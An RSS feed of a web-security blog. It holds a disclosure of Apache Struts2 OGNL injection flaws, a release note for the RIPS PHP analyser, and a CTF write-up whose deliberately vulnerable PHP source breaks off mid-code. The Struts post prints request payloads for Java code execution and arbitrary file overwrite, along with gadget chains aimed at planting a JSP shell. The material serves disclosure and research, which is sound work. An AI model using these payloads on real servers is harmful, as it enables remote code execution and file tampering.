<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Reiners' Weblog</title>
	<atom:link href="http://websec.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://websec.wordpress.com</link>
	<description>anything about Web Security</description>
	<lastBuildDate>Tue, 24 Jan 2012 22:35:17 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='websec.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Reiners' Weblog</title>
		<link>http://websec.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://websec.wordpress.com/osd.xml" title="Reiners&#039; Weblog" />
	<atom:link rel='hub' href='http://websec.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Multiple vulnerabilities in Apache Struts2 and property oriented programming with Java</title>
		<link>http://websec.wordpress.com/2012/01/04/multiple-vulnerabilities-in-apache-struts2-and-property-oriented-programming-with-java/</link>
		<comments>http://websec.wordpress.com/2012/01/04/multiple-vulnerabilities-in-apache-struts2-and-property-oriented-programming-with-java/#comments</comments>
		<pubDate>Wed, 04 Jan 2012 16:55:37 +0000</pubDate>
		<dc:creator>Reiners</dc:creator>
				<category><![CDATA[Java]]></category>
		<category><![CDATA[Vulns]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[Apache Struts2]]></category>

		<guid isPermaLink="false">http://websec.wordpress.com/?p=617</guid>
		<description><![CDATA[Introduction Last month I found a weird behaviour in a Java application during a blackbox pentest. The value of a parameter id was reflected to the HTTP response and I was testing for a potential SQLi vulnerability with the following requests (urldecoded) and responses: request response ?id=abc abc ?id=abc&#8217; ?id=abc&#8217;&#124;&#124;&#8217;def ?id=abc&#8217;+'def abcdef Ok that looked [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=websec.wordpress.com&amp;blog=2085741&amp;post=617&amp;subd=websec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<h2>Introduction</h2>
<p>Last month I found a weird behaviour in a Java application during a blackbox pentest. The value of a parameter <strong>id</strong> was reflected to the HTTP response and I was testing for a potential SQLi vulnerability with the following requests (urldecoded) and responses:</p>
<table border="1" style="border:1px solid black;border-collapse:collapse;width:100%;">
<tr>
<th>request</th>
<th>response</th>
</tr>
<tr>
<td width="70%"><em>?id=abc</em></td>
<td>abc</td>
</tr>
<tr>
<td><em>?id=abc&#8217;</em></td>
<td></td>
</tr>
<tr>
<td><em>?id=abc&#8217;||&#8217;def</em></td>
<td></td>
</tr>
<tr>
<td><em>?id=abc&#8217;+'def</em></td>
<td><strong>abcdef</strong></td>
</tr>
</table>
<p>Ok that looked promising. SQLi here we go:</p>
<table border="1" style="border:1px solid black;border-collapse:collapse;width:100%;">
<tr>
<th>request</th>
<th>response</th>
</tr>
<tr>
<td width="70%"><em>?id=abc&#8217;+/**/&#8217;def</em></td>
<td></td>
</tr>
<tr>
<td><em>?id=abc&#8217;+(select 1)+&#8217;def</em></td>
<td></td>
</tr>
<tr>
<td><em>?id=abc&#8217;+(select 1 from dual)+&#8217;def</em></td>
<td></td>
</tr>
</table>
<p>Hmm, comments and subselect does not work? Maybe table name missing in MS Access? Defaults did not work. What comment types are available?</p>
<table border="1" style="border:1px solid black;border-collapse:collapse;width:100%;">
<tr>
<th>request</th>
<th>response</th>
</tr>
<tr>
<td width="70%"><em>?id=abc&#8217;%00</em></td>
<td></td>
</tr>
<tr>
<td><em>?id=abc&#8217;;%00</em></td>
<td></td>
</tr>
<tr>
<td><em>?id=abc&#8217;&#8211; -</em></td>
<td></td>
</tr>
</table>
<p>No luck, so I started from the beginning:</p>
<table border="1" style="border:1px solid black;border-collapse:collapse;width:100%;">
<tr>
<th>request</th>
<th>response</th>
</tr>
<tr>
<td width="70%"><em>?id=abc&#8217;+'def</em></td>
<td>abcdef</td>
</tr>
<tr>
<td><em>?id=abc&#8217;+1+&#8217;def</em></td>
<td>abc<strong>1</strong>def</td>
</tr>
<tr>
<td><em>?id=abc&#8217;+(1)+&#8217;def</em></td>
<td>abc<strong>1</strong>def</td>
</tr>
<tr>
<td><em>?id=abc&#8217;+a+&#8217;def</em></td>
<td>abc<strong>null</strong>def</td>
</tr>
</table>
<p>Wooty? That was really interesting. No DBMS would return <strong>null</strong> for an unknown column. Obviously a uninitialized variable was parsed here. I even could access another given parameter:</p>
<table border="1" style="border:1px solid black;border-collapse:collapse;width:100%;">
<tr>
<th>request</th>
<th>response</th>
</tr>
<tr>
<td width="70%"><em>?id=abc&#8217;+name+&#8217;def&amp;name=foo</em></td>
<td>abc<strong>foo</strong>def</td>
</tr>
</table>
<p>This was a Java app so I tried some more stuff and this one worked to my suprise:</p>
<table border="1" style="border:1px solid black;border-collapse:collapse;width:100%;">
<tr>
<th>request</th>
<th>response</th>
</tr>
<tr>
<td width="70%"><em>?id=abc&#8217;+(new java.lang.String(&#8220;foo&#8221;))+&#8217;def</em></td>
<td>abc<strong>foo</strong>def</td>
</tr>
</table>
<p>Remote Java code execution? This is not even possible without really dirty tricks (compilation on the fly) I thought. A few hours later I was investigating the Java source code and saw that the application was using Apache Struts 2.2.2.1.</p>
<h2>Apache Struts2, XWork and OGNL</h2>
<p><a href="http://struts.apache.org/">Apache Struts2</a> is a web framework for creating Java web applications. It is using the OpenSymphony XWork and OGNL libraries. By default, XWork&#8217;s ParametersInterceptor treats parameter names provided to actions as OGNL expressions. In example the <strong>parametername</strong> within the request to <em>HelloWorld.action?<strong>parametername</strong>=1</em> is evaluated as OGNL expression.<br />
A OGNL (Object Graph Navigation Language) expression is a limited <a href="http://commons.apache.org/ognl/language-guide.html">language</a> similar to Java that is tokenized and parsed by the OGNL parser which invokes appropiate Java methods. This allows e.g. convenient access to properties that have a getter/setter method implemented. By providing a parameter like <strong>product.id=1</strong> the OGNL parser will call the appropiate setter <strong>getProduct().setId(1)</strong> in the current action context. OGNL is also able to call abritrary methods, constructors and access context variables. </p>
<h2>Apache Struts2 vulnerabilities in the past</h2>
<p>To prevent attackers calling arbitrary Java methods within parameters the flag <strong>xwork.MethodAccessor.denyMethodExecution</strong> is set to <strong>true</strong> and the <strong>SecurityMemberAccess</strong> field <strong>allowStaticMethodAccess</strong> is set to <strong>false</strong> by default.<br />
Before Struts 2.2.2.1 it was possible to bypass these security flags and execute arbitrary commands within the parameter name. You can find all the details for the Pwnie award winning vulnerability <a href="http://blog.o0o.nu/2010/07/cve-2010-1870-struts2xwork-remote.html">here</a>. Summarized, it was possible to access and change the security flags leaving the attacker with all the power that OGNL comes with. The fix in Struts 2.2.2.1 was to apply a tightened character whitelist to XWork&#8217;s ParametersInterceptor, that prevents injecting the hashtag <em>#</em> and the backslash <em>\</em> (for encoding the hashtag) and therefore prevents the access to the security flags.</p>
<p><pre class="brush: java;">
acceptedParamNames = &quot;[a-zA-Z0-9\\.\\]\\[\\(\\)_'\\s]+&quot;;
</pre></p>
<p>The introduced remote code execution worked because it occured during an exception that is triggered when Struts tries to set a property of type <em>Integer</em> or <em>Long</em> with a value of type <em>String</em>. Then the <strong>value</strong> was evaluated as OGNL expression again &#8211; maybe to force an attempt to retrieve a correct data type after evaluation. Since only the parameter names are limited by a character whitelist, arbitrary OGNL and thus arbitrary Java code could be executed.<br />
Unfortunetly for me, the bug had been already <a href="https://issues.apache.org/jira/browse/WW-3668">reported</a> two month earlier and was fixed (almost silently) in Struts 2.2.3.1. You can find a list of all security bulletings for Struts <a href="https://cwiki.apache.org/confluence/display/WW/Security+Bulletins">here</a>. Reason enough to have another look.</p>
<h2>New Apache Struts2 vulnerabilities</h2>
<p>The first obvious step was to look for code where OGNL expressions supplied by the user are evaluated without the character whitelist applied. This happens in the CookieInterceptor (in all versions below 2.3.1.1) leading to <strong>remote code execution</strong> when Struts is configured to handle cookies.</p>
<p>The next step was to look if the character whitelist applied to the parameter names is strong enough and what can be done with the available characters. Within parameters everything is handled as getter and setter. However there are two ways to inject own OGNL expressions. The first is to use dynamic function names that are evaluated before execution like in <strong>(&#8216;ognl&#8217;)(x)=1</strong> or you can use list indexes that are evaluated before used as in <strong>x[ognl]=1</strong>.<br />
However you can not call arbitrary methods like <strong>x[@java.lang.System@exec('calc')]=1</strong> because the security flag for <em>allowStaticMethodAccess</em> is disabled and the character <em>@</em> (symbolizing static method access in OGNL) is not whitelisted. You can only access setters with only one parameter (the comma <em>,</em> is also not whitelisted) by providing <strong>name=foo</strong> or <strong>x[name('foo')]=1</strong> that will both call the setter <strong>setName(&#8216;foo&#8217;)</strong>. </p>
<p>Then we found out you can also call constructors with one parameter with <strong>x[new java.lang.String('foo')]=1</strong>. This leads to a <strong>arbitrary file overwrite</strong> vulnerability when calling the <a href="http://docs.oracle.com/javase/1.5.0/docs/api/java/io/FileWriter.html">FileWriter</a> constructor <strong>x[new java.io.FileWriter('test.txt')]=1</strong>. To inject the forbidden slash <em>/</em> character into the filename one can use a existent property of type String, in example <strong>x[new java.io.FileWriter(message)]=1&amp;message=C:/test.txt</strong>. <em>FileWriter</em> will automatically create an empty file or overwrite an existing one. </p>
<p><a href="https://www.sec-consult.com/en/advisories.html">A detailed description of all vulnerabilities with example code and PoC can be found in our advisory.</a></p>
<h2>Property oriented programming with Java</h2>
<p>Sorry for the buzzword <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  But maybe you can already imagine what the idea is. We can call arbitrary constructors and we can call setters. The next step is to look for classes that have malicious constructors (with only one parameter) or malicious setters (with only one parameter) or maybe even both. We can create arbitrary files by calling new <strong>java.io.FileWriter(&#8216;test.txt&#8217;)</strong> but we cannot call <strong>java.io.FileWriter(&#8216;test.txt&#8217;).write(&#8216;data&#8217;)</strong> because <em>denyMethodExecution</em> is enabled and OGNL would try to call the setter <strong>setWrite(&#8216;data&#8217;)</strong> on the <a href="http://docs.oracle.com/javase/1.5.0/docs/api/java/io/FileWriter.html">FileWriter</a> object. However if we find a class that opens a file within its constructor and writes data within a setter we could turn the <strong>arbitrary file overwrite</strong> vulnerability into a <strong>file upload</strong> vulnerability. </p>
<p>So I downloaded lots of <a href="http://commons.apache.org/">Apache Commons</a> libraries and wrote some regexes to find interesting <em>gadgets</em>. Useful gadgets would be classes with <u>public</u> constructors having only one parameter:<br />
<pre class="brush: php;">
&quot;/public\s*[A-Za-z]*\s*$classname\s*\(([A-Za-z0-9_]+\s+[^,\s]+|\s*)\)\s*{[^}]*}/&quot;
</pre><br />
and having at least one setter with only one parameter:<br />
<pre class="brush: php;">
&quot;/public.*set[A-Za-z0-9_]+\s*\((String|long|int|\s*)\s*[^,]*\)\s*{/&quot;
</pre><br />
In Struts, XWork, OGNL and 9 additional Apache Commons libraries 239 classes with a public constructor and a total of 669 setters could be found. </p>
<h4>Example 1</h4>
<p>To my suprise I found exactly what I was looking for in the class <a href="http://svn.apache.org/repos/asf/struts/struts2/branches/able/core/src/main/java/org/apache/struts2/interceptor/debugging/PrettyPrintWriter.java">PrettyPrintWriter</a> shipped with Struts itself: </p>
<p><pre class="brush: java;">
package org.apache.struts2.interceptor.debugging;

public class PrettyPrintWriter {
 [...]
    // constructors with 3, 2 and 1 parameter
    public PrettyPrintWriter(Writer writer, char[] lineIndenter, String newLine) {
        this.writer = new PrintWriter(writer);
        this.lineIndenter = lineIndenter;
        this.newLine = newLine;
    }

    public PrettyPrintWriter(Writer writer, char[] lineIndenter) {
        this(writer, lineIndenter, &quot;\n&quot;);
    }

    public PrettyPrintWriter(Writer writer, String lineIndenter, String newLine) {
        this(writer, lineIndenter.toCharArray(), newLine);
    }

    public PrettyPrintWriter(Writer writer, String lineIndenter) {
        this(writer, lineIndenter.toCharArray());
    }

    // constructor with only one parameter that accepts our FileWriter
    public PrettyPrintWriter(Writer writer) {
        this(writer, new char[]{' ', ' '});
    }

    // setter that will call write() on our FileWriter()
    public void setValue(String text) {
        readyForNewLine = false;
        tagIsEmpty = false;
        finishTag();

        writeText(writer, text);
    }

   protected void writeText(PrintWriter writer, String text) {
        writeText(text);
    }

    // write text to writer object
    private void writeText(String text) {
        int length = text.length();
        for (int i = 0; i &lt; length; i++) {
            char c = text.charAt(i);
            switch (c) {
                case '&#092;&#048;':
                    this.writer.write(NULL);
                    break;            
                [...]
                default:
                    this.writer.write(c);
            }
        }
    }
 [...]
}
</pre><br />
Perfect. We can create a new <em>PrettyPrintWriter</em> with the public constructor:</p>
<p><strong>x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter()]</strong></p>
<p>We use the constructor in line 25 that accepts only one parameter (remember that the comma is not whitelisted) of type <a href="http://docs.oracle.com/javase/1.5.0/docs/api/java/io/Writer.html">Writer</a> (<a href="http://docs.oracle.com/javase/1.5.0/docs/api/java/io/FileWriter.html">FileWriter</a> is a subclass of <a href="http://docs.oracle.com/javase/1.5.0/docs/api/java/io/Writer.html">Writer</a>):</p>
<p><strong>x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter(new java.io.FileWriter('test.txt'))]=1</strong></p>
<p>This will save our <em>FileWriter</em> object to <em>this.writer</em> (line 7). Now we call the method <em>value</em> on our <em>PrettyPrintWriter</em> object and OGNL will try to call the setter <em>setValue</em> which indeed exists (line 30):</p>
<p><strong>x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter(new java.io.FileWriter('test.txt')).value('data')]=1</strong></p>
<p>The call of <em>setValue</em> will in the end call <em>writeText</em> that will call a <em>write</em> (line 53) with our data to our <em>FileWriter</em> object. Then we could write arbitrary data to arbitrary files, in example uploading a JSP shell.</p>
<p>However that did not work. I thought the problem was that the file was never flushed or closed so I added another trick:</p>
<p><strong>foobar=AAAAAAAA&#8230;&amp;x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter(new java.io.BufferedWriter(new java.io.FileWriter('test026.txt'))).value(foobar)]=1</strong></p>
<p>The <a href="http://docs.oracle.com/javase/1.5.0/docs/api/java/io/FileWriter.html">FileWriter</a> is now wrapped in a <a href="http://docs.oracle.com/javase/1.5.0/docs/api/java/io/BufferedWriter.html">BufferedWriter</a> (a direct subclass of <a href="http://docs.oracle.com/javase/1.5.0/docs/api/java/io/Writer.html">Writer</a>). The documentation says that the buffer will be flushed automatically after 8.192 characters. So I tried sending 9.000 characters via HTTP POST to automatically flush the buffer but in the end it still did not work. Later I found out that OGNL did not accept <em>setValue</em> as a valid setter because the property <em>value</em> does not exist in <em>PrettyPrintWriter</em>. </p>
<h4>Example 2</h4>
<p>There is tons of abusable code within OGNL to execute arbitrary code, you just have to find the right set of public constructors and setters. In example Struts class <em>ContextBean</em>:</p>
<p><pre class="brush: java;">
package org.apache.struts2.components;

public abstract class ContextBean extends Component {
    protected String var;
    
    public ContextBean(ValueStack stack) {
        super(stack);
    }

    public void setVar(String var) {
        if (var != null) {
            this.var = findString(var);
        }
    }
}
</pre></p>
<p>If you can create your own <em>ValueStack</em> object (required in the constructor in line 6 and for OGNL evaluation) you can call the setter <em>setVar</em> (line 10) which is a real setter because the property <em>var</em> exists (line 4). The setter <em>setVar</em> will then call <em>findString</em> (line 12) that in the end will execute a OGNL expression, which can be provided by another parameter value (which is not filtered):</p>
<p><strong>x[new org.apache.struts2.components.ContextBean(new com.opensymphony.xwork2.util.ValueStack()).var(foobar)]=1<br />
&amp;foobar=OGNL expression</strong></p>
<p>The problem in this example is to create a <em>ValueStack</em> with a constructor that has only one parameter to avoid the filtered comma. The class <em>com.opensymphony.xwork2.util.ValueStack</em> itself does not provide such a constructor, however their might be other classes with reduced constructors like in the first example. </p>
<p>You get the idea of &#8220;property oriented programming&#8221; <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  If you find anything cool please let me know. However note that all new vulnerabilities and the presented techniques are prevented in the new <a href="http://struts.apache.org/download.cgi#struts2311">Struts 2.3.1.1</a> because whitespaces are not whitelisted anymore and you cannot access constructors anymore. </p>
<p>All Struts users should update to Struts 2.3.1.1.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/websec.wordpress.com/617/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/websec.wordpress.com/617/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/websec.wordpress.com/617/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/websec.wordpress.com/617/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/websec.wordpress.com/617/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/websec.wordpress.com/617/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/websec.wordpress.com/617/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/websec.wordpress.com/617/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/websec.wordpress.com/617/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/websec.wordpress.com/617/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/websec.wordpress.com/617/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/websec.wordpress.com/617/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/websec.wordpress.com/617/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/websec.wordpress.com/617/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=websec.wordpress.com&amp;blog=2085741&amp;post=617&amp;subd=websec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://websec.wordpress.com/2012/01/04/multiple-vulnerabilities-in-apache-struts2-and-property-oriented-programming-with-java/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5a13b0320800151149e2345b2538ae31?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Reiners</media:title>
		</media:content>
	</item>
		<item>
		<title>Project RIPS v0.50 &#8211; Status</title>
		<link>http://websec.wordpress.com/2011/12/31/project-rips-v0-50-status/</link>
		<comments>http://websec.wordpress.com/2011/12/31/project-rips-v0-50-status/#comments</comments>
		<pubDate>Sat, 31 Dec 2011 16:29:03 +0000</pubDate>
		<dc:creator>Reiners</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Projects]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[PHP Analyser]]></category>
		<category><![CDATA[PHP Scanner]]></category>
		<category><![CDATA[RIPS]]></category>
		<category><![CDATA[static analysis]]></category>

		<guid isPermaLink="false">http://websec.wordpress.com/?p=670</guid>
		<description><![CDATA[I just released a new version of RIPS, my static analysis tool for vulnerabilities in PHP applications. You can find it at www.phpscan.net or www.phpscanner.net. A lot of things have changed and got improved but still a lot of things have to be done. Anyway, the new version is a huge step towards scanning large [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=websec.wordpress.com&amp;blog=2085741&amp;post=670&amp;subd=websec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I just released a new version of RIPS, my static analysis tool for vulnerabilities in PHP applications. You can find it at <a href="http://www.phpscan.net">www.phpscan.net</a> or <a href="http://www.phpscanner.net">www.phpscanner.net</a>. A lot of things have changed and got improved but still a lot of things have to be done. Anyway, the new version is a huge step towards scanning large PHP projects.</p>
<h3>Whats new</h3>
<p>A major change is that RIPS now <strong>parses PHP code by instructions</strong> and not by lines anymore. This is much much more effective and accurate. Parsing code line by line worked out well for the most projects but also introduced a lot of bugs that are now fixed. RIPS is now even able to <strong>parse obfuscated PHP code and PHP backdoors</strong>.<br />
Also I put a lot of work into the <strong>handling of arrays</strong>. In detail: [indexes] behind a variable are now removed and added to the variable token seperatly which allows much more accurate semantic parsing of connected tokens. The index value can now be reconstructed recursively and compared to other index values.<br />
Finally RIPS is able to <strong>scan large open source projects (non-OOP)</strong>. A new feature showing the current scan status and the current file that is scanned as well as a approximated timeleft supports this.<br />
A new feature called <strong><em>leakscan</em></strong> is added that is able to detect if the output of a sensitive sink is returned to the user. In example this helps to detect where the result of your SQL Injection is printed or embedded to a header or if you have to use blind SQL Injection techniques.</p>
<h3>Whats coming</h3>
<p>A new release will ship a lot <strong>more documentation</strong> what RIPS has actually found and why this is a vulnerability. By now RIPS helps to understand the vulnerability type but a lot of vulnerabilities are very special so that a description for every single sensitive sink makes sense.<br />
The next big step is to implement a initial <strong>preparsing phase</strong> where functions and their properties are indexed. After this phase all function calls can be interpreted correctly. By now, RIPS still scans top down and misses functions that are called before they are actually declared in the code. With this new structure several bugs regarding securing and quote analysis can be fixed. Then the <strong>support of object oriented programming (OOP) code</strong> can be added. Also the graphs have to be improved a lot.</p>
<p>Again, if you have any feedback, feature requests, false positives/negatives or code that will make RIPS struggle/hang please <a href="http://websec.wordpress.com/about/">contact me</a>.</p>
<p>Happy new year everyone !!! <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/websec.wordpress.com/670/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/websec.wordpress.com/670/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/websec.wordpress.com/670/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/websec.wordpress.com/670/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/websec.wordpress.com/670/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/websec.wordpress.com/670/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/websec.wordpress.com/670/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/websec.wordpress.com/670/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/websec.wordpress.com/670/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/websec.wordpress.com/670/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/websec.wordpress.com/670/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/websec.wordpress.com/670/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/websec.wordpress.com/670/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/websec.wordpress.com/670/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=websec.wordpress.com&amp;blog=2085741&amp;post=670&amp;subd=websec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://websec.wordpress.com/2011/12/31/project-rips-v0-50-status/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5a13b0320800151149e2345b2538ae31?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Reiners</media:title>
		</media:content>
	</item>
		<item>
		<title>hack.lu CTF 2011 challenge writeup – Secret Space Code</title>
		<link>http://websec.wordpress.com/2011/09/27/hack-lu-ctf-2011-challenge-writeup-%e2%80%93-secret-space-code/</link>
		<comments>http://websec.wordpress.com/2011/09/27/hack-lu-ctf-2011-challenge-writeup-%e2%80%93-secret-space-code/#comments</comments>
		<pubDate>Tue, 27 Sep 2011 16:23:22 +0000</pubDate>
		<dc:creator>Reiners</dc:creator>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[cross-domain leak]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[IE8]]></category>

		<guid isPermaLink="false">http://websec.wordpress.com/?p=593</guid>
		<description><![CDATA[Secret Space Code (SSC) was another web challenge I prepared for the hack.lu 2011 conference CTF. Because we experienced that web challenges are one of the most solved challenge categories during the last CTFs we participated and organized we decided to provide some tough ones. SSC was about a client-side vulnerability in IE8 that has [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=websec.wordpress.com&amp;blog=2085741&amp;post=593&amp;subd=websec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Secret Space Code (SSC) was another web challenge I prepared for the <a href="http://2011.hack.lu/index.php/CaptureTheFlag">hack.lu 2011 conference CTF</a>. Because <a href="http://twitter.com/fluxfingers">we</a> experienced that web challenges are one of the most solved challenge categories during the last CTFs we participated and <a href="http://hacklu.fluxfingers.net/">organized</a> we decided to provide some tough ones.<br />
SSC was about a client-side vulnerability in IE8 that has been <a href="http://support.microsoft.com/kb/2416400">patched</a> in December 2010 without any big attention. However I felt this was a cool vulnerability and worth a 500 points challenge. The challenge text was:</p>
<blockquote><p>The Secret Space Code (SSC) database holds a list of all space shuttle captains and their missile launch codes. You have stolen the X-wing Fighter &#8220;Incom T-65&#8243; from captain Cardboard and you need the missile launch codes for a crazy joyride. You have heard that the SSC admin (twitter: @secretspacecode) is from redmoon where they only use unpatched Internet Explorer 8 &#8230;</p>
<p>hint: Client-side challenges are error-prone. Practice your attack locally before sending a link to the SSC admin via private message.</p></blockquote>
<p>After we got some metasploit tainted links we added the hint that &#8220;client-side&#8221; was referred to vulnerabilities like CSRF and XSS and not to client-side stack smashing <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  Otherwise the challenge would not have been filed under the category <em>web</em>.<br />
When visiting the challenge website there was only a password prompt. The first and easy task was &#8211; as in many other challenges &#8211; to detect the source code file <em>index.phps</em>:</p>
<p><pre class="brush: php;">
&lt;?php
error_reporting(0);
header('Server: Secret Space Codes');
header('Content-Type: text/html; charset=UTF-8');
header('X-XSS-Protection: 1; mode=block');
session_start();
?&gt;
&lt;html&gt;
&lt;head&gt;
	&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot;/&gt;
	&lt;title&gt;Secret Space Codes - Database&lt;/title&gt;
&lt;/head&gt;

&lt;body&gt;
&lt;div id=&quot;main&quot;&gt;
&lt;h1&gt;Secret Space Codes Database&lt;/h1&gt;
&lt;?php
require 'config.php';

if(isset($_GET['pass']))
{
	if($_GET['pass'] === $password)
	{
		$_SESSION['logged'] = true;
	} else
	{
		$_SESSION['logged'] = false;
		echo '&lt;p&gt;Wrong password, get lost in space!&lt;/p&gt;',&quot;\n&quot;;
	}
}

if(isset($_SESSION['logged']) &amp;&amp; $_SESSION['logged'] === true)
{
	$conn = mysql_connect($Host, $User, $Password) 
		or die(&quot;Error: Can not connect to database. Challenge broken&quot;);

	mysql_select_db($Database, $conn) 
		or die(&quot;Error: Can not select database. Challenge broken&quot;);
		
	$where = '';
	echo '&lt;form action=&quot;&quot;&gt;',&quot;\n&quot;,
	'&lt;table&gt;',&quot;\n&quot;,
	'&lt;tr&gt;',&quot;\n&quot;,'&lt;td&gt;&lt;input type=&quot;text&quot; name=&quot;captain&quot; value=&quot;';
	if(isset($_GET['captain']))
	{
		echo htmlentities($_GET['captain'], ENT_QUOTES, 'utf-8');
		$captain = str_replace('all', '%', $_GET['captain']);
		$captain = mysql_real_escape_string($captain, $conn);
		$where.= &quot;WHERE captain like '%$captain%' &quot;;
	} else
	{
		echo 'all';
	}
	echo '&quot; /&gt;&lt;/td&gt;',&quot;\n&quot;,'&lt;td&gt;&lt;select name=&quot;o&quot;&gt;';
	if(isset($_GET['o']) &amp;&amp; preg_match('/^(ASC|DESC)$/im', $_GET['o']))
	{	
		if(strtolower($_GET['o']) === 'asc')
			echo '&lt;option selected&gt;asc&lt;/option&gt;',
			'&lt;option&gt;desc&lt;/option&gt;';
		else if(strtolower($_GET['o']) === 'desc')
			echo '&lt;option&gt;asc&lt;/option&gt;',
			'&lt;option selected&gt;desc&lt;/option&gt;';	
			$where.= &quot;ORDER BY captain &quot;.$_GET['o'];
	} else
	{
		echo '&lt;option&gt;asc&lt;/option&gt;',
			'&lt;option&gt;desc&lt;/option&gt;';
	}
	echo '&lt;/select&gt;&lt;/td&gt;',&quot;\n&quot;,
	'&lt;td&gt;&lt;input type=&quot;submit&quot; value=&quot;search&quot; /&gt;&lt;/td&gt;',&quot;\n&quot;,
	'&lt;/tr&gt;',&quot;\n&quot;,
	'&lt;/table&gt;',&quot;\n&quot;,
	'&lt;/form&gt;',&quot;\n&quot;;
	$result = mysql_query(&quot;SELECT captain,code FROM captains $where&quot;, $conn);
	echo '&lt;p&gt;Result for captain '.htmlentities($_GET['captain'], ENT_QUOTES, 'utf-8');
	if(isset($_GET['o'])) 
		echo ' ('.htmlentities($_GET['o'], ENT_QUOTES, 'utf-8').'ending)';
	echo '&lt;/p&gt;',&quot;\n&quot;,
	'&lt;table&gt;',&quot;\n&quot;,
	'&lt;tr&gt;&lt;th&gt;captain&lt;/th&gt;&lt;th&gt;code&lt;/th&gt;&lt;/tr&gt;',&quot;\n&quot;;
	if(!mysql_error() &amp;&amp; mysql_num_rows($result) &gt; 0)
	{
		for($i=0; $i&lt;mysql_num_rows($result); $i++)
		{
			if(!($row = mysql_fetch_array($result)))
			{
				die(&quot;Error. Challenge broken.&quot;);
			}
